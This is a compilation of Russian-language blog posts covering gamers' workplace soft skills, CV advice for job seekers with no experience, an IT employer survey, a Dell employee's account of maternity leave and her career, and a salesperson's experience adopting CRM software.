При этом практически неважно, играет человек в Ведьмака, PUBG или третьих Героев. Однолюбов, которые залипают в единственную игру, практически нет, поэтому ниже мы расскажем о качествах, которыми обычно обладают сотрудники-геймеры.

Работа в команде. Любая командная компьютерная игра великолепно оттачивает навыки взаимодействия. Геймер, который играет в CS: Go хорошо знает, как использовать свои возможности на пользу всей команде. Один бросает флешку, второй штурмует ослепленных врагов, третий и четвертый дают огневую поддержку и прикрывают с флангов. О взаимодействии в Dota 2 и говорить нечего там от каждого игрока нужны идеально выверенные действия, знание сильных и слабых сторон своих тиммейтов, а одна-единственная ошибка может слить катку.

На рабочем месте сотрудник-геймер интуитивно использует те же модели поведения. Он склонен просчитывать не только свой индивидуальный результат работы, но и обращать внимание на процессы других сотрудников, которые на него влияют.

Быстрая реакция на изменения. Компьютерные игры это динамические системы, которые меняются очень быстро. Нужно постоянно искать новые тактики и инструменты для достижения успеха, пробовать новые билды, оценивать плюсы и минусы конкретного подхода.

В CS: Go достаточно одного противника с AWP на лонге, который вырубит половину команды. И придется в спешном порядке находить новую тактику, что позволит выстоять двоим против пятерых.

В играх корректировать тактику и стратегию нужно постоянно. К примеру, любитель стратегии Civilization VI должен уметь перестраивать работу целой страны, если вдруг сосед объявил внезапную войну. За 4-5 ходов мирное государство должно полностью перейти на военные рельсы и отражать атаки неприятеля.

Способность корректировать рабочие планы и подстраивать под реалии меняющегося рынка крайне важная способность. Руководители, которые ею обладают, способны находить малейшие возможности для роста, а сотрудники способны мгновенно переключится на другие задачи и проекты, которые обещают большой рост.

Стратегическое мышление. Ламповые Warcraft и Heroes of might and magic просто прекрасно развивают стратегическое видение ситуации. Там всегда нужно просчитывать ходы далеко наперед.

Нужно постоянно держать в голове доступность и количество ресурсов, расположение армий противника, ставить промежуточные цели и искать оптимальные пути для их достижения. За одну партию в Героев игрок решает десятки сложных стратегических ситуаций и проблем. А на сложности в 200% любая неучтенная мелочь может привести к проигрышу, что обязывает игрока контролировать абсолютно все.

После таких испытаний разложить рабочий проект на подцели и прописать условия для их выполнения это плевое дело.

Реакция. Чтобы навести прицело на соперника и выстрелить, опытному игроку в CS достаточно 0,2 секунды. Шутеры прекрасно оттачивают скорость реакции и приучают мозг при возникновении любых внештатных или просто сложных ситуаций не впадать в ступор, а действовать.

Стрессоустойчивость. Тут все ясно. Достаточно только включить Dark Souls. И если после двадцатой тупой смерти человек не разобьет монитор, то он чертовски стрессоустойчивый.

Игровые испытания приучают человека спокойнее реагировать на испытания ИРЛ. Когда ты уже сорок пятый раз умираешь от рук Безымянного короля, то раздраженный и бухтящий клиент это очень маленькое из зол.

Внимание к деталям. В стратегиях и симуляторах просто огромное количество деталей, за которыми нужно следить.

И мы считаем, что если человек смог наладить производство ресурсов и создать ракету в Factorio, сможет без проблем наладить реальную производственную линию на заводе или вести масштабный проект в IT-компании. Потому что в Factorio нужно держать в голове сотни мелочей, косяк в любой из которых может загубить прогресс чуть ли не полностью. Потому что в этой игре все взаимозависимо. Кто играл в нее, тот знает о чем речь.

Понятно, что хороший геймер это совсем не обязательно хороший специалист. Ведь игры в первую очередь развивают софтскиллы. А без хардскиллов даже супер-пупер командный игрок и стратег будет бесполезным.

Если игровой опыт дополняет компетенции сотрудника, это может оказаться полезным. Но если он заменяет их, то может возникнуть целый ряд проблем во взаимодействии с руководителем, целями проекта, другими специалистами. Тут очень тонкий момент, который нужно отслеживать.

Игровые механики на работе

Мы много слышали про геймификацию рабочего процесса. Сама идея использовать механики и инструменты из компьютерных игр для улучшения рабочего процесса это ж гениально!

Возьмем, к примеру, идею расширенной трудовой книжки, куда записывается не только место работы и должность, а компетенции сотрудника, общая статистика выполненных задач, завершенных проектов, повышений уровня в профессии, количество косяков. Своеобразный профиль пользователя в игре.

Его можно объединить с внутреннем системой награждений и достижений. И тогда в профиле игрока будет сразу видно, в чем он преуспел и какие задачи у него получается решать лучше всего.

А если пойти еще дальше и объединить все это с CRM и таск-менеджером, где ведется основная работа и отмечаются задачи, то такой профиль превращается в многофункциональный инструмент для оценки качества работы и профессионального роста специалиста.

Связь эффективной работы компании с геймингом довольно интересная. Можно использовать игры как инструмент тимбилдинга и снятия напряжения. Зная любимые игры сотрудника, можно довольно точно разобраться, какими именно личностными качествами он обладает. А внедрение геймификации в рабочий процесс и вовсе может превратить выполнение рутинных задач в интересный квест.

В общем, мы за игры. Будем продолжать шпилить в CS после работы и получать от этого удовольствие.

Подробнее..

Что написать в резюме, если нет опыта работы

20.02.2021 16:15:19 | Автор: admin

Люди меняют профессию по разным причинам надоело, босс не очень или платят мало. Да и мало ли ещё что. Важно, что у всех есть вероятность однажды оказаться перед пустой формой для резюме вообще без опыта работы.

Не утверждаю, что все советы из этой статьи подходят всем без исключения, но что-то наверняка пригодится. В конце концов, даже самые опытные из нас когда-то впервые искали работу, а любой синьор однажды проваливал двоичный переворот сине-чёрного дерева пузырьком. Вместе с Центром карьеры HTML Academy мы решили в этом помочь и собрали для вас полезные советы.

Предупреждение: все советы работают для вакансий в РФ. Рекомендации для других стран могут отличаться. Если вы рассматриваете возможность трудоустройства в иностранную компанию, то создайте отдельное резюме на английском языке.

Напишите, кто вы

Если вы ищете работу в России, то имя и фамилия должны быть заполнены по-русски.

Укажите место проживания. Эта информация важна, чтобы работодатель понимал, сможете ли вы ходить в офис, или в каком часовом поясе вы находитесь, если работа удалённая. Явно укажите, готовы ли вы работать удалённо или рассматриваете только офис. Если готовы переехать так и напишите.

Отсутствие даты рождения не ок. Рекрутёр всё равно сможет предположить ваш возраст по дате окончания вуза или по стажу работы и, вероятнее всего, отложит резюме в папку отказать.

Загрузите фотографию

По этому пункту много споров некоторые говорят, что фотография ни на что не влияет и в иностранных компаниях это необязательный пункт. Тем не менее в российских компаниях на наличие фотографии чаще всего смотрят. Её присутствие говорит о том, что человек себя не скрывает и готов заявить о себе заочно.

Есть несколько правил к фото в резюме:

  • не должно быть лишних людей,

  • желательно на однотонном фоне

  • в меру строго и с улыбкой. Когда кандидат доброжелателен на фотографии, это притягивает.

Определитесь с должностью

Пишите по делу и что-нибудь одно это самый хороший вариант. После курсов по разработке вполне рабочие версии такие:

  • HTML-верстальщик

  • Фронтенд-разработчик

  • РНР-разработчик

  • Веб-разработчик

Если вы ищете работу продавцом утюгов и одновременно фронтенд-разработчиком, то создайте отдельное резюме для каждой должности. Объединять не стоит если кандидат сам не может понять, чем он хочет заниматься, то и работодатель вряд ли станет тратить на это время.

Напишите, сколько хотите денег

Зарплата хороший фильтр, ещё и двухсторонний. Кандидат не будет откликаться на вакансию, где платят мало, а компания с подозрением отнесётся к кандидату, который хочет сильно меньше или намного больше среднего. Как и везде, тут бывают исключения, но в основном так.

Если не знаете или сомневаетесь, что писать, посмотрите, сколько предлагают компании на такую же работу в вашем регионе, и поставьте средний уровень по рынку и вашему опыту. Иногда зарплата корректируется уже на собеседовании, но это уже другая история.

Вспомните всё, что было похоже на опыт

Если опыт по специальности есть, то и укажите его. Но раз мы тут решаем, что делать без опыта, поэтому давайте разбираться отдельно, что засчитывается за опыт работы.

Например, прохождение стажировки в настоящей компании тоже считается опытом, даже если денег за это не платили.

Если начинаете карьеру в новой сфере, укажите только последнее место работы и подробно распишите ваши успехи и достижения. О нерелевантном опыте можно кратко написать в разделе О себе. Например, что пасли бобров, а теперь хотите работать тимлидом.

Рассказывает Екатерина Новографская, HR-менеджер компании iBrush:

Даже если нет опыта, резюме нужно оформить как следует. Не стоит писать о том, что у вас в школе или университете были одни пятерки. Это, конечно, хорошо, но это не показатель того, что вы справитесь с функциональными задачами в предполагаемой должности. Напишите в резюме, что вы умеете в профессиональном плане, какими компетенциями обладаете для той специальности, в которой хотите начать свою карьеру.

И нетленная классика: выберите адекватное фото, где вас хорошо видно, добавьте рабочую почту (немного странно отправлять предложение о работе на почту kiska94735@mail.ru), перечислите списком ваши навыки. И не забудьте написать пару слов о себе: чем увлекаетесь, какие у вас интересы и цели. Также можете указать нюансы, касаемые графика работы, если имеются.

Расскажите о себе

Этот раздел важно заполнить правильно, если совсем нет опыта работы. Здесь важнее то, чего вы хотите достичь, чем то, что уже было.

Поэтому вместо рассказов о внутреннем мире здесь лучше написать, как вы пришли в разработку (или куда вы устраиваетесь) и как получаете новые знания. Расскажите подробно о том, какими знаниями уже владеете, что недавно изучили и коротко о планах по развитию на ближайший год. Здесь же напишите о своих хобби и увлечениях, если считаете нужным.

Напишите, что умеете из новой профессии

Укажите основные технологии которыми владеете и пользуетесь в работе. Не указывайте то, что только планируете изучить.

Например, средняя вакансия для верстальщика выглядит так:

  • Умеет делать адаптивную кроссбраузерную оптимизированную вёрстку, совместимую с современными браузерами. В вёрстке использует SVG.

  • Идеально знает CSS. Использует препроцессор Sass. Знает флексы. Умеет делать CSS-анимации и использует БЭМ. Знает библиотеку Bootstrap.

  • Знает HTML. В работе использует Canvas. Шаблонизирует HTML с помощью PUG.

  • Использует Git. Умеет работать в GitHub.

  • Может натянуть вёрстку на CMS: Bitrix и Wordpress.

  • JavaScript пишет с помощью jQuery, но не чурается ES6.

  • Умеет автоматизировать свою работу с Node.js, npm-скрипты, Autoprefixer, Gulp или Webрасk.

  • Уверенно владеет Photoshop и Illustrator или знает Figma или Sketch.

  • Имеет своё портфолио, инициативный, готов пройти испытательный срок

Конечно, для новичка здесь много непонятных слов и аббревиатур. Ничего страшного. Предположим, вы уже неплохо знаете HTML и CSS, работали с SVG и немного понимаете, как устроен JavaScript. Значит эти навыки и нужно указать, а некоторые пункты, о которых только слышали, перенести в план развития (тем более, выучить их всё равно придётся).

Рассказывает Назир Хасавов, основатель и арт-директор Студии NKH

Очень важен опыт вёрстки. Даже если человек только прошёл курсы, то можно указать в резюме учебные проекты. И обязательно прикладывать ссылки на GitHub и GitHub Pages, чтобы можно было посмотреть на код. Также важно запомнить, сколько времени ушло на проект такой сложности.

Для джуна важно развивать софт-скиллы умение общаться и работать в команде. Технические пробелы всегда можно подтянуть, но если с человеком тяжело общаться, то далеко на такой телеге не уедешь. Поэтому хорошо бы чуть чуть рассказать о себе. Конечно, краткое описание в полной мере не раскроет человека, но небольшой спойлер уже будет. Часто на собеседованиях умение общаться бывает важнее технической части.

Напишите, где учились

Указывайте образование, даже если оно не профильное. Возможно вы получили смежную профессию или полученные знания для новой сферы работы будут плюсом. Также указывайте все дополнительные курсы повышения квалификации с датой получения сертификатов. Эта информация покажет, что вы развиваетесь как специалист, готовы к обучению и новым знаниям.

Хороший объем две страницы А4

Вообще без опыта сложно наскрести и столько, но если вдруг получилось, то держите в голове следующий факт.

Заполненное резюме должно занимать не больше двух страниц (представьте, что его нужно распечатать с двух сторон листа на А4, как раз поместится). Постарайтесь кратко и ёмко изложить всю необходимую информацию.

Напишите хоть какое-нибудь сопроводительное

Хорошее сопроводительное письмо суперсила. Здравствуйте, прошу рассмотреть моё резюме на вакансию тупик.

Сопроводительное письмо должно дополнять резюме, а не копировать его. В идеальном мире в каждую компанию пишут своё письмо. Да, это требует больше времени, но это поможет обратить на себя внимание рекрутёра. Напишите, чем вас заинтересовала вакансия, и чем вы можете быть полезны компании. Только не помогу приблизить светлое будущее, а сверстаю лендинги, чтобы они нормально выглядели на телефонах

Перед отправкой отклика проверьте всё спеллчекером они сейчас встроены даже в браузер, так что просто не забудьте.

95% выпускников профессий HTML Academy устраиваются на работу не только из-за хорошего резюме. Они учатся профессиональной вёрстке и программированию, прокачивают скорость работы в Акселераторе и проходят оплачиваемую стажировку в Лиге А.. Ещё мы помогаем выпускникам найти работу даже в небольших городах то есть делаем всё, чтобы студенты могли заниматься новым любимым делом. Присоединяйтесь, старт профессии React-разработчик 27 апреля.

Как составить резюме, если нет опыта работы

  1. Честно напишите, кто вы имя, возраст, город

  2. Фотка с улыбкой сила

  3. Должность должна быть одна. Никаких маркетолог-мясник

  4. Напишите, сколько хотите денег. Даже если сумма с потолка

  5. Если нет никакого опыта, сгодится любой похожий

  6. План развития важнее пятёрок в школе

  7. Чем больше навыков совпадёт с вакансией, тем лучше. Остальное пойдёт в план развития

  8. Образование важнее, чем кажется, но не критично

  9. Не больше двух страниц на всё (но растягивать и лить воду тоже не нужно)

  10. Сопроводительное письмо помогает. Прошу рассмотреть резюме нет


Подробнее..

Ты куда пропал, работодатель мечты?

20.05.2021 16:23:11 | Автор: admin


Ежегодно в СМИ и на специализированных кадровых ресурсах появляются всевозможные рейтинги Лучших работодателей. Нельзя сказать, что год от года мы видим новые логотипы и названия компаний, но отрасли определенно меняются. Если раньше близость к природным ресурсам в какой-то мере гарантировала стабильность и высокий доход, то сегодня на смену им пришла цифра. Порой складывается ощущение, что совсем скоро всех нас поглотят вездесущие экосистемы, подмяв под собой остовы газовых и нефтяных гигантов.

Если посмотреть на рейтинг работодателей авторитетного журнала Forbes, то десятка лидеров выглядит весьма экзотично. Во многом, это объясняется набором субъективных критериев выбора участников, включающих не только статистику поисковых запросов, уровень заработной платы, но и отношение компаний к экологической проблематике, участие в благотворительных и социальных программах и прочее.



Вам также может встретиться авторитетный рейтинг работодателей, составленный экспертами hh.ru. И здесь, весьма любопытной кажется классификация Самые популярные у соискателей. И что мы видим? Из десятки лидеров, только одна компания из сферы ИТ (sic!). Причем не из Москвы и не на букву Я или М.



Справедливости ради, всегда можно обратиться к рейтингу Лучшие ИТ-работодатели России по версии Хабра.



Собственно, все описанное выше и подтолкнуло нас к искушению провести опрос среди пользователей Habr-а, какой-же он, ваш идеальный работодатель.

Признаться, честно, некоторые ответы нас самих немного удивили. Просьба сделать скидку на скромность выборки (менее 300 человек) и прямые руки привлеченных нами социологов.

В ответе на вопрос про ключевые факторы выбора работодателя все прогнозируемо: No money, no honey.



Оказалось, что больше половины респондентов потенциально готовы уехать из страны для продолжения карьеры.



При этом наибольшее количество людей предпочли бы жить в ЕС, а не в США, например. Также обратите внимание, что патриотов своей страны достаточно. Даже больше тех, кто хотел бы строить карьеру в Америке.



В плане материального вознаграждения, ответы респондентов тоже оказались весьма любопытными. Судя по статистике для многих ИТ-профессионалов комфортное ежемесячное денежное вознаграждение на позиции линейного руководителя команды это 150 000 250 000 рублей. Соотносится с вашим мировосприятием?



Также несколько удивили ответы относительно продолжительности построения карьеры на одном месте. Оказалось, что согласно опросу, больше половины ИТ-специалистов готовы менять работу каждые пять лет.



Мы нисколько не удивились типичному инструментарию выбора работодателя. На вопрос, на какие отзывы о работодателе вы ориентируете, респонденты достаточно определенно ответили. Все мы по-прежнему доверяем мнению коллег, знакомых и родственников.



Ровно также, без удивления, мы отметили практически единодушие респондентов в вопросе организации удаленной работы. Это, безусловное, преимущество потенциального работодателя.


Наиболее полярными оказались ответы на вопрос про оптимальные форматы повышения квалификации разработчиков.



При этом, все сошлись во мнении, что знания и опыт по-прежнему важны. Тут сложно спорить.



Надеемся, что приведенная выше информация не вызвала у вас острого отторжения. Ведь, как говорил Бенджамин Дизраэли: Есть три вида лжи: ложь, наглая ложь и статистика. Будем считать, что данная статья носит информационно-развлекательный характер.

Кстати, если вы ищете работу, в М.Видео-Эльдорадо вас заждались. У нас масса важных и нужных для бизнеса позиций.

Приходите, будет интересно!
Подробнее..

Работа в Dell Technologies мнение девушки. Гендерное равенство, декреты и построение карьеры после рождения детей

21.06.2021 14:12:41 | Автор: admin

Обычно в этом блоге мы пишем про серверы, компьютеры или IT-решения, но сегодня будет статья совсем другого плана: это эксперимент. Нам показалось, что было бы неплохо время от времени делиться с вами историями наших сотрудников через призму их личного опыта работы в Dell Technologies. Весьма вероятно, что многим будет интересно почитать о том, как именно у нас всё устроено. Так что очень надеемся на обратную связь в комментариях и в опросе в конце материала от этого действительно зависит судьба нового формата.

А начнём мы с темы девушек в IT, причём посмотрим на неё под особым углом. Главная героиня сегодняшней статьи Любовь Филимонова. Она закончила СПбГЭТУ ЛЭТИ, пришла работать в Санкт-Петербургский Центр Разработок Dell Technologies по стажёрской программе и прошла карьерный путь до инженера-тестировщика ПО в команде Dell EMC VMAX. У Любы двое детей, соответственно в декретный отпуск за время работы она уходила дважды. Именно этим опытом мы и попросили её поделиться. Отношение начальства, возможности для развития, построение карьеры после рождения детей, адаптация после долго отпуска об этом и многом другом в формате прямой речи Люба сама рассказывает под катом.

Трудоустройство мужчины и женщины в IT: есть ли разница?

В международных IT-компаниях никто давно не судит о кандидатах по одежде или полу. В Dell Technologies опыт, знания и достижения мужчин и женщин всегда сравниваются соразмерно. Шутки или, тем более, троллинг абсолютно недопустимы, в том числе и после трудоустройства. И это не какое-то правило, которому все должны следовать. Просто взрослые современные люди прекрасно всё понимают сами и общаются друг с другом корректно.

Если говорить про карьерный путь, то тут, на мой взгляд, всё в первую очередь зависит от уверенности в себе, а не от пола. К сожалению, по моим наблюдениям, девочки из IT нередко менее уверены в себе, чем мальчики. Но в Dell Technologies всегда можно рассчитывать на помощь коллег из нашего внутреннего сообщества Women in Action, которому уже более 5 лет. Это открытая площадка, где женщины могут общаться друг с другом. Нетворкинг плюс возможность получения дополнительных знаний очень эффективная комбинация. Здесь всегда ответят на вопросы, направят, помогут прокачать софт-навыки, если их вдруг не хватает, и дадут мощный заряд позитивной мотивации. Главная цель сообщества поддерживать женщин в технологических областях, помогать им развиваться и строить карьеру.

О гендерной дискриминации в IT-индустрии

Мне кажется, что в IT-сфере уровень гендерной дискриминации гораздо ниже, чем во многих других областях. Особенно в больших международных корпорациях. Мой личный опыт показывает, что в Dell Technologies её нет вообще: просто невозможно представить, чтобы на собеседовании кто-то спросил у девушки замужем ли она и планирует ли детей. А ещё умные девочки всегда в топе: из моих однокурсниц из СПбГЭТУ ЛЭТИ нет ни одной, которая сейчас бы не работала в IT-индустрии.

При этом однажды я смогла взглянуть на эту проблему со стороны. В компании (не из IT-сферы), где работает мой муж, была ситуация, когда талантливой молодой девушке намеренно не давали работать над серьёзными проектами. Боялись, что она в любой момент уйдёт в декрет, и бизнес-процессы остановятся.

Как руководители команд относятся к уходу девушек в декрет?

Руководитель моей команды женщина. И однажды она прямо сказала мне, что ей вообще не страшно, когда девочки уходят в декрет, ведь они всегда возвращаются. Дело в том, что после большого перерыва в работе всегда проще вернуться туда, где ты уже трудился. Полагаю, что это во многом определяет и второй фактор: то, как устроена работа. В нашей команде весь процесс производства это конструктор, всё заменяемо и настраиваемо. Когда ты уходишь, то всегда найдется кто-то, кто будет не менее эффективно справляться с тем, над чем работал ты. И наоборот: когда возвращаешься, то тебе тоже всегда найдут дело по плечу.

Отношение менеджеров и коллег

Внутри компании очень дружественная атмосфера. Начальство всегда старается поддерживать сотрудников и с пониманием относится к сложным ситуациям. Вместе с коллегами мы регулярно отмечаем события на офисных кухнях, в том числе беременности и пополнение в семьях, делаем подарки друг другу. Несмотря на это в начале первой беременности я почему-то боялась сказать всем, что придётся уйти на долгое время. Помню, что начала этот разговор со слов наверное это для вас не радостная новость. Как оказалось, боялась зря: руководитель сразу поддержал, коллеги тоже отнеслись с пониманием.

Интересно, кстати, что сейчас моя команда поделилась по возрастной границе: у нас сотрудники либо в возрасте до 30 лет, либо около сорока и старше. Молодые коллеги активно поддерживают и помогают в тяжёлые моменты в техническом плане, а старшие у многих уже даже есть внуки делятся родительским опытом и дают ценные советы.

Что нравится в компании?

Для себя я вижу в Санкт-Петербургском Центре Разработок Dell Technologies много преимуществ. У коллег высокий уровень экспертизы, команды дружные, руководство лояльное и понимающее. С коллегами из Америки работать тоже комфортно. Задачи интересные и масштабные мы ведь делаем продукты для всего мира, а не только для России, и это здорово мотивирует, когда любишь свою работу, как я. А в момент выхода в декрет я увидела на собственном опыте, как быстро и эффективно передаются и подхватываются дела. Руководитель оперативно перераспределил задачи, работа не останавливалась и не провисала ни на день.

Один из главных бенефитов работы в компании лично для меня корпоративный полис ДМС, который распространяется на всю семью. В других компаниях за расширение чаще всего просят доплачивать, а тут он ещё и со стоматологией. Второе ключевое преимущество возможность работать удалённо. Сейчас такой подход стал обыденным, а года полтора назад для многих это казалось невозможным. Дело в том, что Dell Technologies вплотную занимается организацией удалённой работы сотрудников уже более десяти лет, и для всех нас это было нормой задолго до пандемии. Особенно я оценила удалёнку, когда старший ребёнок пошёл в сад: отводить его туда и забирать плюс как-то совмещать всё с дорогой в офис было бы крайне сложно.

Можно ли получить новые навыки во время декретного отпуска?

На мой взгляд, однозначно можно. И это правильно, многие коллеги так делают. Например, подруга работает инженером-схемотехником, и за время декрета собирается переучиться на более высокоуровневую профессию в той же области.

Если говорить про меня, то мне прокачиваться в профессиональном плане было сложно. Специфика продукта, над которым я работаю, предполагает только внутреннее обучение: что-то новое мы узнаём в основном непосредственно во время работы. Но я оставалась в курсе событий читала статьи, смотрела обучающие видео, изучала документацию. И смогла ощутимо подтянуть английский, за что, кстати, тоже спасибо компании курсы для сотрудников организует и полностью оплачивает Dell Technologies.

Как совмещать работу и воспитание детей?

Сейчас об этом много пишут и говорят, причём на первый план выводят построение режима для ребёнка и тайм-менеджмент. Мой опыт с двумя детьми показывает, что это вещи полезные, но не главные. Главное это делегирование, и без него не поможет ничего. Нужно привлекать родственников и нянь, нанимать клининг, иначе на всё сразу вас точно не хватит: дело закончится материнским выгоранием.

Моим помощником стал муж, за что я ему бесконечно благодарна. После первого декрета я вышла на работу на 20 часов. Во время дневных совещаний выходила гулять с ребёнком и подключалась в наушниках, чтобы слушать и не пропускать ничего важного, а техническую работу делала с 6 до 10 часов вечера, когда муж приходил со своей работы. Всё это время меня никто не беспокоил, и это крайне важно. Выделять время, когда ты только один, абсолютно необходимо. Вариант с работой или отдыхом, когда ребёнок где-то рядом, скажем, рисует, не всем подходит.

Влияет ли декрет и материнство на процесс построения карьеры?

Я считаю, что любая история про карьеру это всегда про то, насколько ты готов серьёзно работать. У нас в компании полно примеров, когда девушки примерно одинакового возраста вырастают до одной и той же должности, у них примерно одинаковые навыки и опыт, но у одной есть семья и ребёнок, а другая решила пока отношения и семью не строить.

Важен и подход к карьере, ведь это всегда индивидуально. Скажем, я никогда не ставила себе цель стать senior инженером. Сейчас моя цель не должность, а выход на определённый уровень дохода. Полагаю, должность важна, если ты планируешь уходить в другую компанию: перейти с senior на senior гораздо проще. Я же планирую работать в Dell Technologies и дальше, поэтому за карьерными ачивками особо не гонюсь. Во-первых, потому что можно быть даже стажёром, общаться с инженером и понимать, что умные вы примерно одинаково. И, во-вторых, потому что у нас в компании должность, на которой ты работаешь, далеко не всегда определяет уровень твоей заработной платы.

Словом, я скорее за более высокую позицию по деньгам, чем по карьере, и к этому я пришла далеко не сразу. До рождения первого ребёнка я была готова работать бесплатно. После этого я была готова работать за маленькую зарплату. А вот когда у тебя уже двое детей, то стабильный и хороший уровень дохода это очень важно. Теперь я честно отвечаю, что работаю за деньги, а не за энтузиазм, и не стесняюсь этого. Но, разумеется, мне нравится то, что я делаю, я работаю с удовольствием.

Смещается ли фокус на семью после рождения детей?

С появлением детей фокус внимания действительно смещается на семью, но и от этого тоже устаёшь. Поэтому нужно искать баланс. Возможно, это только мой личный опыт, но когда я прихожу на работу после того, как много проведу времени с детьми за развивашками, то мне гораздо проще и интереснее переключаться. Я охотно соглашаюсь на тестирование новых фич, с радостью хожу на обучающие тренинги.

Как правильно и эффективно вернуться в рабочий ритм после декрета?

Мой личный опыт показывает, что включаться в работу после 3-недельного отпуска порой может быть сложнее, чем после 1,5-летнего декрета. Я думаю, что процесс адаптации в значительной степени зависит от подхода компании и руководителя команды. У нас в этом плане всё очень классно.

После первого декрета моя начальница почувствовала, что сразу работать на все сто процентов я не смогу. Поэтому для меня подобрали специфическую задачу: я прогоняла стандартный набор тестов по кругу на разных версиях софта. Это такая рутина, в которую не нужно глубоко вникать: просто перенастраиваешь железки и следишь за тем, чтобы всё шло гладко. Так получилось быстро и плавно вернуться к стандартному рабочему ритму. При этом после долгих отпусков (а также декретов и по стажёрской программе) у нас в компании тебе обязательно выделяют наставника. Это человек, которому всегда можно задать любые вопросы, и он обязательно поможет.

Когда я возвращалась после второго декрета, то и мне, и начальнице сразу стало понятно, что это уже надолго. Плюс я стала меньше привязана к детям, поскольку декрет взял мой муж. Так что и задачи были уже серьёзнее, чем простые круговые тесты.


Тут прямая речь Любы заканчивается, и на этом мы плавно завершаем материал. Спасибо всем, кто дочитал до конца. В комментариях вы можете задать свои вопросы по теме. Мы обязательно постараемся ответить на все с помощью героини материала и HR-отдела. И не забудьте проголосовать в опросе: ваш отклик действительно очень важен для нас.

Подробнее..

Для чего нужна CRM. Личный опыт

07.12.2020 14:17:59 | Автор: admin

Над этим вопросом я задумался ещё до того, как стал работать менеджером по продажам в первый раз. Свою карьеру в продажах я начал с холодных продаж в b2b. Продавал автомобильные краски и товары для кузовного ремонта.

Так вот задумался я над CRM ещё тогда, когда не знал что они существуют. Поразмыслив на старших курсах чем заниматься и где работать я понял что идти в продажи для меня лучший вариант. Приняв такое решение я решил немного подготовиться к будущему и начал изучать что это такое и как вообще обстоят дела.

В то время у меня было два основных вопроса: как продавать и как работать с клиентской базой. Они кстати до сих пор на повестке дня, но конечно со временем стали много глубже.

Так вот вопрос Как продавать конечно интересный, но это отдельная тема.

К вопросу Как работать с клиентской базой я подошёл как понимал на то время Excel наше всё. Просто заносить туда всех потенциальных клиентов что были найдены, записывай прогресс и будешь самым богатым и успешным продавцом. Ну это в теории, так я думал ещё даже не начав пробовать продавать. Хотя и сейчас так думает очень большое количество продавцов и директоров.

А как оказалось в действительности?

Вот и вышел я на свое первое место в продажах. И в первые три дня, которые отводились на обучение продукту (обучением это называл директор, мне и тогда это казалось слегка преувеличенным. Как-нибудь позже напишу о своём мнении и опыте адаптации новых продажников. О том что им давать, чем обеспечивать, на чём практиковаться и прочее) днём я пытался понять что же мне нужно продавать, номенклатуру, характеристики, цены, скидки, доставки, группы товаров и прочее. А по вечерам приходя домой я собирал свой золотой файлик Excel, который должен содержать всю мою будущую базу.

Что из этого получилось

  • Показав директору на третий день свои труды я вдруг узнал что у фирмы нет общей базы. Точнее она есть в 1С, но там кроме бухгалтера ни кто не разбирается. По факту её нет.

  • Поэтому мне нужно показать свой файлик старичкам. И старички выберут те компании которым они продают и с которыми ведут переговоры. И конечно меня три дня как продажника никто не обманул и не вычеркивал из этого Excel-я просто жирных клиентов. Ну допустим. Что досталось, то и досталось.

  • Начал работать по той базе, что мне оставили. И Через неделю или две понял что при интенсивной работе. Когда звонишь с 8:40 и до 18:15 (так просто транспорт подходил, и так и сформировался мой график) начинаешь превращать свою базу в свалку (почему Excel становится свалкой при совместной работе, именно работе, и/или более чем с 200-300 компаниями тема отдельного разговора)

  • Вечера и выходные были заняты поиском решения, помню что долго это происходило. Как-то рандомно наткнулся на замечательное решение CRM. А именно gallopercrm. Меня оно устроило полностью. Потому что было простым и в описании было указано для b2b и для звонков.

  • Вот и появилась у меня (CRM устанавливалась на компьютер и была однопользовательская). Дальше был перенос базы из Excel-я в CRM и попытки в ней работать. Не знаю как у остальных менеджеров, но мне крайне понравилось получать напоминания, иметь доступ к истории, понимать сколько времени я убил на конкретного клиента, сколько раз и как он отказывался, и прочее.

  • Меня никто не заставлял, ни штрафовал и ни премировал за работу в CRM. Через пару месяцев, полностью начав работать в CRM, звоня целыми днями, начав делать первые отгрузки и подняв несколько никому ненужных мёртвых клиентов я обратился к директору давайте купим многопользовательскую версию и закажем обучение. На что я получил ответ денег нет, ты ничего не понимаешь и типа хочешь развлекайся, а других не трогай

  • Так я и развлекался, звонил, заключал договора, собирал машину на отгрузки в регионы (по 1-2 машины в неделю), пытался контролировать дебиторку (чем до этого занималась только бухгалтерия)

  • И тут настало 10 декабря, появился собственник и дал задачу директору и бухгалтеру год закончился, делайте отчёт по отгрузкам менеджеров. Директор взял под козырёк и за пару дней создал с бухгалтером отчёт. Отчёт кстати мне понравился по количеству и частоте отгрузок, а самое главное по отсутствию глухой дебиторки я (со своей игрушкой) очень заметно опережал коллег-менеджеров. По обороту я явно был в аутсайдерах, мелкие клиенты, отказники и новички были у меня. А элитные клиенты были вычеркнуты из того самого Excel-ика коллегами в первую неделю.

  • После проверки файликов меня и директора вызвал собственник и спрашивает почему у новенького больше всего отгрузок, почти нет долгов по счетам и количество клиентов больше чем у 3 старожилов. Не буду вдаваться в диалог, но через 15 минут после возвращения директор дал мне задачу показать, научить, внедрить, и проконтролировать работу всего отдела продаж в CRM

  • На что я сказал этим занимаются внедренцы, а не менеджеры, себя я научил хочу продавать и зарабатывать. Если учить и внедрять я буду бесплатно, то я пас. Буду продавать и зарабатывать зарплату

  • Платить мне ни кто очевидно не стал, и я продолжал работать и изучать различные CRM-системы в свободное время.

За первый год работы я понял зачем мне нужна CRM

  • Чтобы не искать в куче бумажек кому и что говорил, не пытаться запомнить когда звонить

  • Чтобы знать кто, как и когда мне отказал

  • Чтобы звонить больше (просто быстрее получалось) даже с учётом того что звонил я без телефонии всякой, просто с мобильного

  • Чтобы делать отгрузки. Создавать сделки и печатать шпаргалки водителю

  • Чтобы она напомнила мне напомнить клиенту пора рассчитываться за поставку, или что мы будем в его городе и пора купить ещё

  • И ещё много зачем, но принцип думаю понятен.

P.S. CRM-ки в в начале десятых, были совсем не те, что сейчас. Не было инструкций, видеороликов и всего остального. Я как мог искал и кстати ищу до сих пор, и пытался внедрять. После описанного первого опыта, были и другие места работы, где я всегда внедрял CRM бесплатно и для себя, были друзья-менеджеры, которые просили сделать хоть как-то, были две свои фирмы (вторая работает и сейчас) и были клиентские внедрения. И ничего не меняется: много продавать хотят все, а вот делать для этого что-то уже не все

P.P.S. Ровно через год я уволился из первой фирмы, где я начал работать продажником. За два месяца я показал план на год собственнику и директору. В плане было много чего и сделать сайт, и напечатать понятные клиентам брошюры, и форма заказа и подключение телефонии и много ещё чего. CRM там тоже конечно была. Были цифры от бюджетного до нормально варианта, много было помечено сделаю сам, только распечатать, сделаю сам, только купить пользователей и т.п. Собственник сказал хорошо, делай, а директор промолчал.

